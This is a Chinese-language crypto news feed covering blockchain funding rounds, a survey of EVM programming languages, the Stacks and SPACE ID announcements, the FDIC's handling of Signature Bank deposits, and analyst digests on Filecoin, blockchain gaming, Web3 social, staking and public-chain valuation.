Limited参投。Ibanera的支付架构可以有效支持下一代基于分布式账本技术的金融业务，主要覆盖跨境支付、货币兑换、手机银行和商户服务，为从事数字资产和NFT业务的企业提供安全支撑，同时也消除了Web3复杂性。据悉，Ibanera于去年四季度推出了数字银行和支付平台，可用于支持账户资金、支付分配和收款等银行业务。 元宇宙支付平台Tilia获J.P. Morgan Payments等的投资，其总融资额已达2200万美元 元宇宙支付平台 Tilia 完成一笔战略融资，J.P. Morgan Payments、韩国加密货币交易所 Upbit 运营商 Dunamu 等参投。自 2022 年从创建者 Linden Lab 分拆以来，Tilia 的融资总额达到 2200 万美元。Tilia 并未透露此次具体融资数据。Tilia 正在与 J.P Morgan Payments 合作，以增强其整个处理平台的能力，包括提供更多的支付和支付方式、扩展支付货币和支持服务。 Web3娱乐项目Hello Pets推出600万美元元宇宙基金，并购入10枚BAYC Web3娱乐项目Hello Pets宣布推出600万美元元宇宙扩展基金，用于开发和强化元宇宙生态系统。据悉Hello Pet透露已购入10枚“无聊猿”BAYC，分别是：BAYC #6966、BAYC #6280、BAYC #5245、BAYC #4421、BAYC #5914、BAYC #7350、BAYC #2045、BAYC #9538、BAYC #1522、BAYC #6933，这些NFT未来将会融入到电影、元宇宙、游戏、AR/VR 应用程序、乐高玩具、时尚等产品和服务中。 Ark Invest旗下新私人加密基金募资超过1600万美元 根据周三提交给美国证券交易委员会（SEC）的文件，Cathie Wood的Ark Invest旗下一只新加密基金募资超过1600万美元。该基金分美国和开曼群岛两个版本，其中美国基金从9位投资者手中筹集了7,281,630美元，而开曼群岛基金从一位投资者手中筹集了8,993,330美元。这两只基金均于3月1日开放投资，没有明确的募资目标，属于私人基金，只对少数投资者开放。 Ripple战略投资风投基金Blockchain Founders Fund Ripple宣布对总部位于新加坡的早期风险投资基金Blockchain Founders Fund（BFF）进行战略投资，具体金额未披露。Blockchain Founders Fund将使用这笔资金支持有潜力的早期公司。  ( 6 min )
    一文盘点6种EVM编程语言
    作者：jtriley.ethjtriley.eth 编译：0x11，Foresight News 以太坊虚拟机 (EVM) 是一个 256 位、基于堆栈、全球可访问的图灵机。由于架构与其他虚拟机和物理机的明显不同，EVM 需要领域特定语言 DSL（注：领域特定语言指的是专注于某个应用程序领域的计算机语言）。 在本文中，我们将研究 EVM DSL 设计的最新技术，介绍六种语言 Solidity、Vyper、Fe、Huff、Yul 和 ETK。 1、Solidity: 0.8.19 2、Vyper: 0.3.7 3、Fe: 0.21.0 4、Huff: 0.3.1 5、ETK: 0.2.1 6、Yul: 0.8.19 阅读本文，需要你对 EVM、堆栈和编程有基本的了解。 EVM 是一个基于 256 位堆栈的图灵机。然而，在深入研究它的编译器之前，应该介绍一些功能特性。 由于 EVM 是「图灵完备」的，它会受到「停机问题」的困扰。简而言之，在程序执行之前，没有办法确定它未来是否会终止。EVM 解决这个问题的方法是通过「Gas」计量计算单位，一般来说，这与执行指令所需的物理资源成比例。每个交易的 Gas 量是有限制的，交易的发起者必须支付与交易消耗的 Gas 成比例的 ETH。这个策略的影响之一是，如果有两个功能上相同的智能合约，消耗更少 Gas 的合约将被更多采用。这导致协议竞争极端的 Gas 效率，工程师努力最小化特定任务的 Gas 消耗。 此外，当调用一个合约时，它会创建一个执行上下文。在这个上下文中，合约有一个堆栈用于操作和处理，一个线性内存实例用于读写，一个本地持久性存储用于合约读写，并且附加到调用的数据「calldata」可以被读取但不能被写入。 关于内存的一个重要说明是，虽然它的大小没有确定的「上限」，但仍然是有限的。扩展内存的 Gas 成本是动态：一旦达到阈值，扩展内存的成本将呈二次方增长，也就是说 Gas 成本与额外内存分配的平方成正比。 合约也可以使用一些不同的指令来调用其他合约。 「call」指令将数据和可选的 ETH 发送到目标合约，然后创建自己的执行上下文，直到目标合约的执行停止。 「staticcall」指令与 「call」相同，但增加了一个检查，即在静态调用完成之前，断言全局状态的任何部分都未被更新。最后， 「delegatecall」指令的行为类似于 「call」，只是它会保留先前上下文的一些环境信息。这通常用于外部库和代理合约。 在与非典型架构交互时，特定领域语言（DSL）是必要的。虽然存在诸如 LLVM 之类的编译器工具链，但是依赖它们来处理智能合约，在程序正确性和计算效率至关重要的情况下，不太理想。 程序正确性非常重要，因为智能合约默认是不可变的，并且鉴于区块链虚拟机（VM）的属性，智能合约是金融应用程序的热门选择。虽然存在针对 EVM 的升级性解决方案，但它充其量只是一个补丁，最坏的情况是任意代码执行漏洞。 计算效率也非常关键，因为最小化计算具有经济优势，但不能以安全为代价。 简而言之，EVM DSL 必须平衡程序正确性和 Gas 效率，在不牺牲太多灵活性的情况下通过做出不同的取舍来实现其中之一。 对于每种语言，我们将描述它们的显着特性和设计选择，并包括一个简单的计数功能智能合约。言语流行度是根据 Defi Llama 上的总锁定价值 (TVL) 数据确定的。 Solidity 是一种高级语言，其语法类似于 C、Java 和 Javascript。它是按 TVL 计算最受欢迎的语言，其 TVL 是第二名的十倍。为了代码重用，它使用面向对象模式，智能合约被视为类对象，利用了多重继承。编译器采用 C++ 编写，计划在将来迁移到 Rust。 可变的合约字段存储在持久性存储中，除非它们的值在编译时（常量）或部署时（不可变）已知。合约内声明的方法可以声明为 pure、view、payable，或默认情况下是 non-payable 但状态可修改。pure 方法不会从执行环境中读取数据，也不能读取或写入持久性存储；也就是说，给定相同的输入，pure 方法将始终返回相同的输出，它们不会产生副作用。 view 方法可以从持久性存储或执行环境中读取数据，但它们不能写入持久性存储，也不能创建副作用，例如附加事务日志。payable 方法可以读写持久性存储，从执行环境中读取数据，产生副作用，并且可以接收附加在调用中的 ETH。non-payable 方法与 payable 方法相同，但具有运行时检查，以断言当前执行上下文中没有附加 ETH。 注意：将 ETH 附加到交易中与支付 Gas 费用是分开的，附加的 ETH 由合约接收，可以通过恢复上下文选择接受或拒绝它。 在合约的范围内声明时，方法可以指定以下四种可见性修饰符：private、internal、public 或 external。private 方法可以通过当前合约内的「jump」指令在内部访问。任何继承的合约都不能直接访问 private 方法。internal 方法也可以通过「jump」指令在内部访问，但继承的合约可以直接使用内部方法。public 方法可以通过「call」指令由外部合约访问，创建一个新的执行上下文，并在直接调用方法时通过跳转进行内部访问。public 方法也可以通过在方法调用前加上「this.」来在新的执行上下文中从同一合约中访问。external 方法只能通过「call」指令访问，无论是来自不同的合约还是在同一合约内，都需要在方法调用前加上「this.」。 注意：「jump」指令操作程序计数器，「call」指令为目标合约的执行期间创建一个新的执行上下文。在可能的情况下，使用「jump」而不是「call」更加节约 Gas。 Solidity 还提供了三种定义库的方式。第一种是外部库，它是一个无状态的合约，单独部署到链上，在调用合约时动态链接，并通过「delegatecall」指令访问。这是最不常见的方法，因为外部库的工具支持不足，「delegatecall」很昂贵，它必须从持久存储中加载额外的代码，并且需要多个事务进行部署。内部库的定义方式与外部库相同，只是每个方法必须定义为内部方法。 在编译时，内部库被嵌入到最终合约中，并且在死代码分析阶段，库中未使用的方法将被删除。第三种方式与内部库类似，但不是在库内定义数据结构和功能，而是在文件级别定义，并且可以直接导入和在最终合约中使用。第三种方法提供了更好的人机交互性，可以使用自定义数据结构，将函数应用于全局作用域中，并一定限程度上将别名运算符应用于某些函数。 编译器提供两个优化通道。第一个是指令级优化器，对最终的字节码执行优化操作。第二个是近期增加使用 Yul 语言（稍后详细介绍）作为编译过程中的中间表示（IR），然后对生成的 Yul 代码进行优化操作。 为了与合约中的公共和外部方法交互，Solidity 规定了一种应用程序二进制接口（ABI）标准来与其合约交互。目前，Solidity ABI 被视为 EVM DSL 的事实标准。指定外部接口的以太坊 ERC 标准都按照 Solidity 的 ABI 规范和风格指南来执行。其他语言也遵循 Solidity 的 ABI 规范，很少出现偏差。 Solidity 还提供了内联 Yul 块，允许对 EVM 指令集进行低级别访问。Yul 块包含 Yul 功能的子集，详细信息请参见 Yul 部分。这通常用于进行 Gas 优化，利用高级语法不支持的功能，并自定义存储、内存和 calldata。 由于 Solidity 的流行，开发人员工具非常成熟且设计精良，Foundry 是在这方面突出的代表。 以下是用 Solidity 编写的一个简单合约： Vyper Vyper 是一种语法类似于 Python 的高级语言。它几乎是 Python 的一个子集，只有一些小的不同。它是第二受欢迎的 EVM DSL。Vyper 针对安全性、可读性、审计能力和 Gas 效率进行了优化。它不采用面向对象模式、内联汇编，并且不支持代码重用。它的编译器是用 Python 编写的。 存储在持久性存储器中的变量是在文件级别声明的。如果它们的值在编译时已知，可以将它们声明为「constant（常量）」；如果它们的值在部署时已知，则可以将它们声明为「immutable（不变量）」；如果它们被标记为 public，则最终合约将为该变量公开一个只读函数。常量和不变量的值通过它们的名称在内部访问，但是持久性存储器中的可变量可以通过在名称前面添加「self.」来访问。这对于防止存储变量、函数参数和局部变量之间的命名空间冲突非常有用。 和 Solidity 类似，Vyper 也使用函数属性来表示函数的可见性和可变性。被标记为「@external」的函数可以通过「call」指令从外部合约访问。被标记为「@internal」的函数只能在同一合约中访问，并且必须以「self.」为前缀。被标记为「@pure」的函数不能从执行环境或持久存储中读取数据，也不能写入持久存储或创建任何副作用。 被标记为「@view」的函数可以从执行环境或持久存储中读取数据，但不能写入持久存储或创建副作用。被标记为「@payable」的函数可以读取或写入持久存储，创建副作用，接受收 ETH。没有声明这个可变性属性的函数默认为 non-payable，也就是说，它们和 payable 函数一样，但不能接收 ETH。 Vyper 编译器还选择将局部变量存储在内存中而不是堆栈上。这使得合约更加简单和高效，并解决了其他高级语言中常见的「堆栈过深」的问题。但是，这也带来了一些折衷。 另外，由于内存布局必须在编译时知道，因此动态类型的最大容量也必须在编译时知道，这是一个限制。此外，分配大量内存会导致非线性的 Gas 消耗，正如 EVM 概述部分中提到的。但是，对于许多用例来说，这个 Gas 成本可以忽略不计。 虽然 Vyper 不支持内联汇编，但它提供了更多内置函数，以确保几乎每个 Solidity 和 Yul 中的功能在 Vyper 中也可以实现。通过内置函数可以访问低级位运算、外部调用和代理合约操作，通过编译时提供覆盖文件可以实现自定义存储布局。 Vyper 没有丰富的的开发工具套件，但它有更紧密集成的工具，并且也可以插入到 Solidity 开发工具中。值得关注的 Vyper 工具包括 Titanaboa 解释器，它具有许多与 EVM 和 Vyper 相关的内置工具，可用于实验和开发，以及 Dasy，一种基于 Vyper 的 Lisp，具有编译时代码执行功能。 下面是用 Vyper 编写的一个简单合约： Fe Fe 是一种类似 Rust 的高级语言，目前正在积极开发中，大部分功能尚未推出。它的编译器主要用 Rust 编写，但使用 Yul 作为其中间表示形式（IR），依赖于用 C++ 编写的 Yul 优化器。随着 Rust 原生后端 Sonatina 的加入，这一点有望改变。Fe 使用模块进行代码共享，因此不使用面向对象的模式，而是通过基于模块的系统重用代码，在模块内声明变量、类型和函数，可以以类似于 Rust 的方式进行导入。 持久存储变量在合约级别声明，如果没有手动定义的 getter 函数则不可公开访问。常量可以在文件或模块级别声明，并且可以在合约内部访问。当前不支持不可变的部署时变量。 方法可以在模块级别或合约内声明，默认是 pure 和 private。要使合约方法公开，必须在定义前加上「pub」关键字，这使得它可以在外部访问。要从持久化存储变量中读取，方法的第一个参数必须是「self」，在变量名前加上「self.」，使该方法具有只读访问本地存储变量的权限。要读取和写入持久化存储，第一个参数必须是「mut self」。「mut」关键字表示合约的存储在方法执行期间是可变的。访问环境变量是通过将「Context」参数传递给方法来完成的，通常命名为「ctx」。 函数和自定义类型可以在模块级别声明。默认情况下，模块项都是私有的，除非加上「pub」关键字才能访问。但是，不要和合约级别的「pub」关键字混淆。模块的公共成员只能在最终合约或其他模块内部访问。 Fe 暂时不支持内联汇编，相反，指令由编译器内部函数或在编译时解析为指令的特殊函数包装。 Fe 遵循 Rust 的语法和类型系统，支持类型别名、带有子类型的枚举、特征和泛型。目前这方面的支持还有限，但正在进行中。特征可以针对不同类型进行定义和实现，但不支持泛型，也不支持特征约束。枚举支持子类型，并可以在其上实现方法，但不能在外部函数中对其进行编码。尽管 Fe 的类型系统仍在发展中，但它在为开发人员编写更安全、编译时检查的代码方面显示出了很大的潜力。 下面是用 Fe 编写的一个简单的合约： Huff Huff 是一种汇编语言，具有手动堆栈控制和对 EVM 指令集的最小化抽象。通过「#include」指令，编译时可以解析任何包含的 Huff 文件，从而实现代码重用。最初由 Aztec 团队编写用于极度优化的椭圆曲线算法，编译器后来被用 TypeScript 重写，然后又被用 Rust 重写。 常量必须在编译时定义，目前不支持不可变量，并且语言中没有显式定义持久性存储变量。由于命名存储变量是高级抽象，因此在 Huff 中写入持久性存储是通过操作码 「sstore」 写入和 「sload」读取。自定义存储布局可以由用户定义，也可以按照惯例从零开始并且每个变量递增使用编译器内在的「FREE_STORAGE_POINTER」。使存储变量外部可访问需要手动定义一个可以读取并返回变量给调用者的代码路径。 外部函数也是高级语言引入的抽象，因此在 Huff 中没有外部函数的概念。但是，大多数项目在不同程度上遵循其他高级语言的 ABI 规范，最常见的是 Solidity。一个常见的模式是定义一个「调度程序」，加载原始调用数据并使用它来检查是否匹配函数选择器。如果匹配，则执行其后续代码。由于调度程序是用户定义的，因此它们可能遵循不同的调度模式。 Solidity 按名称字母顺序对其调度程序中的选择器进行排序，Vyper 按数字顺序排序并在运行时执行二进制搜索，大多数 Huff 调度程序按预期的函数使用频率排序，很少使用跳转表。目前，跳转表在 EVM 中不被原生支持，因此需要使用类似「codecopy」的内省指令才能实现。 内部函数使用「#define fn」指令定义，可以接受模板参数以提高灵活性，并指定函数开始和结束时的预期堆栈深度。由于这些函数是内部的，因此无法从外部访问，在内部访问需要使用「jump」指令。 其他控制流程，例如条件语句和循环语句可以使用跳转目标定义。跳转目标是由标识符后跟冒号定义的。可以通过将标识符压入堆栈并执行跳转指令来跳转到这些目标。这在编译时解析为字节码偏移量。 宏由「#define macro」定义，其他方面与内部函数相同。关键区别在于宏不会在编译时生成「jump」指令，而是将宏的主体直接复制到文件中的每个调用中。 这种设计权衡了减少任意跳转与运行时 Gas 成本之间的关系，代价是调用多次时代码的大小增加。「MAIN」 宏被视为合约的入口，并且其主体中的第一条指令将成为运行时字节码中的第一条指令。 编译器内置的其他特性还包括为日志记录生成事件哈希、为调度生成函数选择器、为错误处理生成错误选择器以及内部函数和宏的代码大小检查器等。 注意：「// [count]」之类的堆栈注释不是必需的，它们只是用于指示该行执行结束时的堆栈状态。 下面是用 Huff 编写的一个简单合约： ETK EVM 工具包（ETK）是一种具有手动堆栈管理和最小化抽象的汇编语言。代码可以通过「%include」和「%import」指令进行重用，编译器是用 Rust 编写的。 Huff 和 ETK 之间的一个显着区别是，Huff 为 initcode 添加了轻微的抽象，也称为构造函数代码，这些代码可以通过定义特殊的「CONSTRUCTOR」宏来覆盖。在 ETK 中，这些不会被抽象化，initcode 和运行时代码必须一起定义。 与 Huff 类似，ETK 通过「sload」和「sstore」指令读写持久性存储。然而，没有常量或不可变关键字，但是可以使用 ETK 中的两种宏之一来模拟常量，即表达式宏。表达式宏不会解析为指令，而是生成可用于其他指令中的数字值。例如，它可能不会完全生成「push」指令，但可能会生成一个数字以包含在「push」指令中。 如前所述，外部函数是高级语言概念，因此在外部公开代码路径需要创建函数选择器调度程序。 内部函数不像其他语言那样可以显式定义，而是可以为跳转目标指定用户定义的别名，并通过其名称跳转到它们。这也允许其他控制流，例如循环和条件语句。 ETK 支持两种宏。第一种是表达式宏，可以接受任意数量的参数并返回可用于其他指令的数字值。表达式宏不生成指令，而是生成立即值或常量。然而，指令宏接受任意数量的参数，并在编译时生成任意数量的指令。ETK 中的指令宏类似于 Huff 宏。 下面是 ETK 用编写的一个简单合约： Yul Yul 是一种具有高级控制流和大量抽象的汇编语言。它是 Solidity 工具链的一部分，并可以选择在 Solidity 编译通道中使用。 Yul 不支持代码重用，因为它旨在成为编译目标而不是独立语言。它的编译器是用 C++ 编写的，计划将其与 Solidity 通道的其余部分一起迁移到 Rust。 在 Yul 中，代码被分成对象，这些对象可以包含代码、数据和嵌套对象。因此，Yul 中没有常量或外部函数。需要定义函数选择器调度程序才能将代码路径公开到外部。 除了堆栈和控制流指令外，大多数指令在 Yul 中都作为函数公开。指令可以嵌套以缩短代码长度，也可以分配给临时变量，然后传递给其他指令使用。条件分支可以使用「if」块，如果值为非零，则执行该块，但没有「else」块，因此处理多个代码路径需要使用「switch」处理任意数量的情况和「default」后备选项。循环可以使用「for」循环执行；虽然其语法与其他高级语言不同，但提供了相同的基本功能。可以使用「function」关键字定义内部函数，并且与高级语言的函数定义类似。 Yul 中的大多数功能在 Solidity 中使用内联汇编块公开。这允许开发人员打破抽象，编写自定义功能或在高级语法中不可用的功能中使用 Yul。但是，使用此功能需要深入了解 Solidity 在 calldata、memory 和 storage 方面的行为。 还有一些独特的函数。 「datasize」，「dataoffset」和「datacopy」函数通过其字符串别名操作 Yul 对象。 「setimmutable」和「loadimmutable」函数允许在构造函数中设置和加载不可变参数，尽管它们的使用受到限制。 「memoryguard」函数表示只分配给定的内存范围，从而使编译器可以使用超出保护范围的内存进行附加优化。最后，「verbatim」允许使用 Yul 编译器不知道的指令。 下面是用 Yul 编写的一个简单合约： 优秀 EVM DSL 的特性 一个优秀的 EVM DSL 应该从这里列出的每种语言的优缺点中学习，还应该包括几乎所有现代语言中的基础，如条件语句、模式匹配、循环、函数等等。代码应该是明确的，为了代码美观或可读性而添加最少的隐式抽象。在高风险、正确性至关重要的环境中，每行代码都应该是明确可解释的。此外，一个定义良好的模块系统应该是任何伟大语言的核心。它应该清楚地说明哪些项定义在哪个作用域中，以及哪些可以访问。默认情况下，模块中的每个项都应该是私有的，只有显式公共项才能在外部公开访问。 在 EVM 这样的资源受限环境中，效率很重要。效率通常通过提供低成本的抽象来实现，如通过宏进行编译时代码执行，丰富的类型系统来创建设计良好的可重用库以及常见的链上交互包装器。宏在编译时生成代码，这对于减少常见操作的样板代码非常有用，在像 Huff 这样的情况下，它可用于在代码大小与运行时效率之间进行权衡。 丰富的类型系统允许更具表现力的代码、更多的编译时检查以在运行时之前捕获错误，并且当与类型检查的编译器内部函数结合使用时，可能会消除大部分内联汇编的需求。泛型还允许可空值（例如外部代码）被包装在「选项」类型中，或者易出错的操作（例如外部调用）被包装在「结果」类型中。这两种类型是库编写者如何通过定义代码路径或恢复失败结果的事务来强制开发人员处理每个结果的示例。然而，请记住，这些是编译时抽象，会在运行时解析为简单的条件跳转。强制开发人员在编译时处理每个结果会增加初始开发时间，但好处是运行时的意外情况要少得多。 灵活性对于开发人员也很重要，因此，虽然复杂操作的默认情况应该是安全且可能不那么高效的路线，但有时需要使用更高效的代码路径或不支持的功能。为此，应该向开发人员开放内联汇编，而且没有护栏。Solidity 的内联汇编为了简单和更好的优化器传递设置了一些护栏，但是当开发人员需要完全控制执行环境时，他们应该被授予这些权利。 一些可能有用的功能包括可以在编译时操作函数和其他项的属性。例如，「inline」属性可以将简单函数的主体复制到每个调用中，而不是为了效率创建更多的跳转。而「abi」属性可以允许手动覆盖给定外部函数生成的 ABI，以适应不同代码风格的语言。此外，还可以定义一个可选的函数调度器，允许在高级语言内进行定制，以便对预期更常用的代码路径进行额外的优化。例如，在执行「name」之前检查选择器是否为「transfer」或「transferFrom」。 EVM DSL 设计任重而道远。每种语言都有自己独特的设计决策，我期待看到它们在未来如何发展。作为开发人员，学习尽可能多的语言符合我们的最大利益。首先，学习多种语言并了解它们的不同之处和相似之处将加深我们对编程和底层机器体系结构的理解。 其次，语言具有深远的网络效应和强大的保留特性。毫无疑问，大型参与者都在构建自己的编程语言，从 C#、Swift 和 Kotlin 到 Solidity、Sway 和 Cairo。学习在这些语言之间无缝切换为软件工程职业提供了无与伦比的灵活性。最后，重要的是要了解每一种语言背后都需要付出大量的工作。没有人是完美的，但无数有才华的人付出了大量努力，为像我们这样的开发者创造安全愉快的体验。  ( 7 min )
    比特币Layer 2网络Stacks激活2.1版本，提高挖矿效率并升级Clarity语言
    PANews 3月20日消息，据官方推特，比特币Layer 2网络Stacks已激活2.1版本。新版本包含Stacking挖矿效率提升及Clarity语言升级等内容。 此外，此次升级还将使矿工可以通过本地隔离验证或taproot UTXO进行挖矿，从而提升挖矿去中心化程度。Stacks 2.1解锁了将Stacks资产直接发送到比特币地址的能力。 相关阅读：一文读懂Stacks：比特币的增强系统  ( 4 min )
    SPACE ID发布空投细则：超29万个地址有资格领取，3月22日开放申领
    PANews 3月20日消息，据官方博客，Web3身份平台SPACE ID公布其原生代币ID的空投规则。本次空投将向平台早期用户和生态系统贡献者分配4200万枚ID，占总供应量的2.1%。 快照已于北京时间3月14日22:00拍摄完成，对应BNB Chain区块高度为26459696，对应Arbitrum One区块高度为69763080，用户需要在快照时拥有.bnb或.arb域名才能获得空投资格。共有约294,000个地址有资格领取空投。用户可访问space.id/voyage来查看自己是否有资格以及可领取的数量。领取将从3月22日开始，到4月22日结束，在BNB Chain上进行。 此前消息，SPACE ID宣布推出治理代币ID，并将在币安Launchpad上进行公售，代币分发将于2023年3月22日开始。代币总供应量为20亿枚，10%预留给社区空投。  ( 4 min )
    FDIC：Signature Bank存款将由纽约社区银行子公司承担，数字银行业务存款除外
    PANews 3月20日消息，据CoinDesk报道，美国联邦存款保险公司（FDIC）在美国时间周日的一份新闻稿中表示，根据一份购买和承担协议，从周一开始，前Signature Bank(现为Signature Bridge Bank)持有的所有存款将由纽约社区银行(New York Community Bank)的子公司Flagstar Bancorp, N.A承担。 Signature Bridge银行的储户(与数字银行业务相关的储户除外)将自动成为Flagstar的储户，并将继续由FDIC在保险限额内提供保险。 Flagstar银行的出价不包括与前Signature Bank数字银行业务相关的40亿美元存款。根据新闻稿，FDIC将直接向账户与数字银行业务相关的客户提供这些存款。  ( 4 min )

  • Open

    IOSG 周报：FVM 如何全方位解锁 Filecoin 创新用例？
    Chainfeeds 导读： IOSG Ventures 成员 Siddarth 撰文分析 Filecoin 虚拟机 FVM 对现有问题的解决及未来用例的解锁，并对团队提出的「Request for Startups」列表中频繁出现的 DataDAO 概念进行解读，最后对 Filecoin 如何提升计算能力成为计算强国提出解决方案。 文章来源： https://mp.weixin.qq.com/s/C2TpIUsj75-xeYVAsG0j7g 文章作者： Siddarth（IOSG Ventures） 观点： Siddarth（IOSG Ventures）：通过将虚拟机集成到协议中，开发人员可以创建基于 Filecoin 的 dApps，以安全可靠的方式执行智能合约，并可以在现有的 Filecoin 数据上创建附加价值层。在当前的 Filecoin 状态下，将数据在链上变现是不可能的，因为存储协议是点对点的，交易在链下进行，而结算在链上进行。数据变现需要基础设施来建立访问控制系统、订阅付款系统、数据增强、包装等。这就是 FVM 可以解锁的，采用去中心化以社区为中心的模式。 内容来源 Siddarth（IOSG Ventures）：DataDAO 是 DAO 的一种，其使命围绕着利益相关者认为有价值的数据集的保护、生成、增强和推广。DataDAO 的每个利益相关者都可以通过不同方式进行激励，SPs 负责存储和保存，复制工作人员可以确保本地和快速可用性，数据提供者可以获得对其任何数据的出售补偿，数据专家可以参与数据包装，ML 工程师可以获得提供可在加密数据上运行的模型的补偿，从而增加数据的价值。 内容来源 Siddarth（IOSG Ventures）：单靠 Filecoin 无法应对我们生活的计算密集型互联网时代，解决方法有两种：1）通过使存储规定的最低计算要求非常高，使 Filecoin 成为计算强国，这是一个逐渐的过程；2）将 Filecoin 上的数据的计算外包给第三方平台或其他解决方案。另一个问题是，许多训练模型已经构建完成，如果需要将数据移植到 Filecoin，计算网络必须能够支持已经使用 TensorFlow、Ray 等构建的现有模型。 内容来源  ( 33 min )
    链游报告：亚洲将会成为区块链游戏的引擎
    Chainfeeds 导读： 加密资产信息披露平台 Xangle 与 CoinMarketCap 联合出品的区块链游戏研究报告，深入探讨了头部游戏公司使用的领先战略以及机会所在，揭示亚洲如何推动区块链游戏的发展。中文版由 PANews 授权编译发布。 文章来源： https://www.panewslab.com/zh/articledetails/ys147pvt.html 文章作者： Xangle、CoinMarketCap 观点： Xangle：整体来看，亚洲强劲的市场增长和以休闲 / MMORPG 为中心的游戏市场的特点为区块链游戏提供了巨大的潜力；Web2 游戏公司进入区块链领域的主要原因是为确保新的增长引擎和通过代币筹集新资金；在经历 Wemade 以区块链生态 Wemix 为起点推出的 Mir 4 Global 取得成功后，Com2us 等公司正在从 Layer1 基础层构建自己的区块链生态系统，并力求最大化整个生态系统产生的附加； 内容来源 Xangle：在 3A 级游戏 IP 的支持下，游戏行业的主要参与者对区块链的采用更加保守，最显著的试验是游戏组件的代币化，例如将其角色、道具等变成 NFT；鉴于传统游戏厂商们将在今年发布一系列链游，这将加速区块链游戏的大规模采用，2023 年或将实现区块链游戏的复兴。 内容来源  ( 8 min )
    如何理解 Web3 社交和链上数据发展所带来的社会影响？
    Chainfeeds 导读： 不同于 Web2 社交公司以盈利为驱动，主导用户信息的提取，Web3 更加强调社区、透明度和用户利益。本文由 Stanford Blockchain Review 作者撰写，主要探讨如何应用从信任到去信任化，从奖励中间商到奖励最终用户，从黑匣子到透明度等准则构建全新的社交网络概念。中文版由深潮授权编译发布。 文章来源： https://m.techflowpost.com/article/2279 文章作者： Bridget Harris、Sophie Fujiwara 观点： Stanford Blockchain Review：1）身份：加密身份具有更广泛的潜力，灵魂绑定令牌、去中心化标识符和可验证证书等新原语是下一波链上社交的核心所在；2）讯息：很多新公司致力于处理消息基础架构层，帮助协议嵌入和扩展本地消息层，为终端用户创建更完整的体验，主要挑战是在便利性和质量间权衡；3）社交媒体：从根本上讲，Web3 社交网络的成功不仅取决于技术上的优越性，更重要的是通过共同的故事和社区建立群体认同； 内容来源 Stanford Blockchain Review：4）链上共创：NFTs 是一种新经济机制，可以验证地拥有数字物品。所有权可以分散到多个人手中，形成协同创作范式；5）策展和搜索：Launchcaster 通过简单的方式解决了搜索问题，Boys Club 和 Dirt 等其他平台采取更加精选的方法，手动选择策划内容。更去中心化的策划形式，如 Yup，通过对现有平台进行聚合过滤，或代币策划注册表，奖励用户拥有良好的品味。 内容来源 Stanford Blockchain Review：6）教育：目前，加密货币普及的主要问题之一是缺乏相关知识。一些新的消费类公司正在将加密货币从前端抽象化，让消费者从这些技术中受益。总的来说，可访问性、所有权和奖励是这类协议正在采用的主要渠道；7）金融交易：区块链技术还在积极创造围绕社区为导向的金融活动的新动态。此外，共同拥有是一种有趣的模式，允许群体投资于替代性资产、分享经验，并围绕他们购买的产品创建社区。 内容来源  ( 12 min )
    系统讲解 LSD 生态全景及竞争概况
    Chainfeeds 导读： 本文文字稿来源 Shield 华语频道「2023 第一叙事，以太坊上海升级 —— 庖丁解牛 LSD 生态详解公开课」，系统讲解 LSD 赛道从上游到下游的全景及竞争概况，从质押逻辑到后续推演和投资机会均有涉及。 文章来源： https://mp.weixin.qq.com/s/ouXB-LHNcPMeS_nenCKxTA 文章作者： Shield 观点： Shield：我个人觉得「不是 SSV 需要以太坊，而是以太坊需要 SSV。」目前以太坊的质押率在 13.77%，核心原因是 liquidity 不足，不能自由进出。在上海升级后有自由进出后，如果以太坊想要保持抗审查和分布式，就需要 SSV 的 DVT 技术增加节点分布的广度；另外一点，就是以太坊联合质押模式的风险。垄断要靠创新解决，创新的来源是涌现，而涌现的来源是多样化。上海升级后，我们需要成百上千的 LSD 赛道项目涌现出来。 内容来源 Shield：上海升级后的 LSD 应用层机会展望：第一个重大机会，就是找到以安全为前提的最优挖矿路由，做安全的聚合挖矿。上海升级之后，虽然 Lido 的市场份额可能还是最大的，但是不可避免在这个过程中会产生 the War of Liquidity Staking Protocol。第二个机会，就是整个 LSD+ 的部分。以太坊 POS 挖矿产生了对应的寻找二次增值的需求，会催发对应的赛道产生规模化或更加 solid 的产品。 内容来源  ( 32 min )
    关于顶流公链及其生态估值模型的探讨性分析
    Chainfeeds 导读： 公链经过多年的发展，很多数据估值模型基本趋于稳定，对未来技术衍化的差异认知，决定了公链的上升空间。Continue Capital 联合创始人 Pima 通过对部分数据的筛选，从另外一个角度进行公链及生态估值体系的探讨。 文章来源： https://pima09.substack.com/p/4ca 文章作者： 匹马（Continue Capital） 观点： 匹马（Continue Capital）：前提条件：假设我们定义除 ETH 之外其他同时期顶级公链 Public Chain Market Cap 为 PMC，Ethereum Market Cap 为 EMC，定义 PE=PMC/EMC；各生态头部 DEX Fully Diluted Valuation 为 DFDV，公链 Public Chain Fully Diluted Valuation 为 PFDV，定义 DP=DFDV/PFDV，即 DEX 全市值 / 公链全市值。 内容来源 匹马（Continue Capital）：公链估值定律一：最优非 ETH 智能合约平台 PE 常态化区间落在 6%-20% 的范围。定律一更大的作用是在新项目上市之初给予你一个估值中枢，即用新项目 FDV/ETH 市值来衡量估值高低。定律一的适用条件是非 ETH 中顶级的公链，哪个是顶级公链实质是个买入问题，但定律一可以提供大约的卖点：即越接近 20% 占比上限，越可以卖掉换 ETH，但这不是绝对单价卖点，定律一的本质是衡量顶级公链与 ETH 的增速问题。 内容来源 匹马（Continue Capital）：公链生态估值定律二：常规 DEX 在各自公链生态中 DP 常态化区间落在 1%-3% 的范围。定律二的作用：其一，对于低估区间，我们知道一定会有一条 DEX 与其公链市值相匹配。至于是哪个 DEX，需要深耕社区，观察其数据 / 用户 / 开发能力等常规因素来做选择，就是说你有了提前参与的窗口，剩下的只需要耐心；其二，对于高估区间，同样可以参照定律二的范围区间上限。常规 DEX 长期要面临层出不穷的其他竞品的进攻，护城河很难建立，因此越接近定律二 3% 的上限，越适合兑换成分母公链。 内容来源  ( 6 min )
    【英文长推】盘点 7 个将从 Arbitrum 空投中获益的项目
